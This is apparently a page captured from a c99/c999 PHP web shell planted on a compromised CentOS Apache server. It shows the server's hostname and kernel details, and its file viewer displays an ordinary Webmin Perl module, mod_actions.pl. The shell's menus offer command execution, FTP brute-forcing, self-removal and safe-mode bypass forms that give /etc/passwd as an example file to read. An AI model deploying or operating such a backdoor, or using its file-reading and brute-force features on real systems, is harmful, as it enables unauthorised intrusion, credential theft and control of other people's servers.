!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/apache/   drwxr-xr-x
Free 49.58 GB of 127.8 GB (38.8%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     mod_actions.pl (2.56 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
# mod_actions.pl
# Defines editors for CGI actions

sub mod_actions_directives
{
$rv = [ [ 'Action', 1, 11, 'virtual directory htaccess', undef, 5 ],
        [ 'Script', 1, 11, 'virtual directory' ] ];
return &make_directives($rv, $_[0], "mod_actions");
}

sub mod_actions_handlers
{
local($d, @rv);
foreach $d (&find_all_directives($_[0], "Action")) {
    if ($d->{'words'}->[0] =~ /^[A-z0-9\-\_]+$/) {
        push(@rv, $d->{'words'}->[0]);
        }
    }
return @rv;
}

sub edit_Action
{
local($rv, $len, $i, $type, $cgi);
$rv = "<table border>\n".
      "<tr $tb> <td><b>$text{'mod_actions_mime'}</b></td> <td><b>$text{'mod_actions_cgiurl'}</b></td> </tr>";
$len = @{$_[0]}+1;
for($i=0; $i<$len; $i++) {
    if ($_[0]->[$i]->{'value'} =~ /^(\S+)\s+(\S+)$/) {
        $type = $1; $cgi = $2;
        }
    else { $type = $cgi = ""; }
    $rv .= "<tr $cb>\n";
    $rv .= "<td><input name=Action_type_$i size=20 value=\"$type\"></td>\n";
    $rv .= "<td><input name=Action_cgi_$i size=40 value=\"$cgi\"></td>\n";
    $rv .= "</tr>\n";
    }
$rv .= "</table>\n";
return (2, "$text{'mod_actions_mimecgi'}", $rv);
}
sub save_Action
{
local($i, $cgi, $type, @rv);
for($i=0; defined($in{"Action_type_$i"}); $i++) {
    $type = $in{"Action_type_$i"}; $cgi = $in{"Action_cgi_$i"};
    if ($type !~ /\S/ && $cgi !~ /\S/) { next; }
    $type =~ /^(\S+)$/ || &error(&text('mod_actions_emime', $type));
    $cgi =~ /^\/(\S+)$/ || &error(&text('mod_actions_ecgi', $cgi));
    push(@rv, "$type $cgi");
    }
return ( \@rv );
}

sub edit_Script
{
local($rv, $len, $i, $meth, $cgi, $m, $found);
$rv = "<table border>\n".
      "<tr $tb> <td><b>$text{'mod_actions_http'}</b></td> <td><b>$text{'mod_actions_cgi'}</b></td> </tr>";
$len = @{$_[0]}+1;
for($i=0; $i<$len; $i++) {
    if ($_[0]->[$i]->{'value'} =~ /^(\S+)\s+(\S+)$/) {
        $meth = $1; $cgi = $2;
        }
    else { $meth = $cgi = ""; }
    $rv .= "<tr $cb><td><select name=Script_meth_$i>\n";
    foreach $m ("", "GET", "POST", "PUT", "DELETE") {
        $rv .= sprintf "<option %s>$m\n", $meth eq $m ? "selected" : "";
        $found++ if ($meth eq $m);
        }
    printf "<option selected>$meth\n" if (!$found);
    $rv .= "</select></td>\n";
    $rv .= "<td><input name=Script_cgi_$i size=40 value=\"$cgi\"></td>\n";
    $rv .= "</tr>\n";
    }
$rv .= "</table>\n";
return (2, "$text{'mod_actions_httpcgi'}", $rv);
}
sub save_Script
{
local($i, @rv, $meth, $cgi);
for($i=0; defined($in{"Script_meth_$i"}); $i++) {
    $meth = $in{"Script_meth_$i"}; $cgi = $in{"Script_cgi_$i"};
    if (!$meth && $cgi !~ /\S/) { next; }
    $meth || &error(&text('mod_actions_enometh', $cgi));
    $cgi =~ /^\/(\S+)$/ || &error(&text('mod_actions_ecgi', $cgi));
    push(@rv, "$meth $cgi");
    }
return ( \@rv );
}

1;


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0132 ]--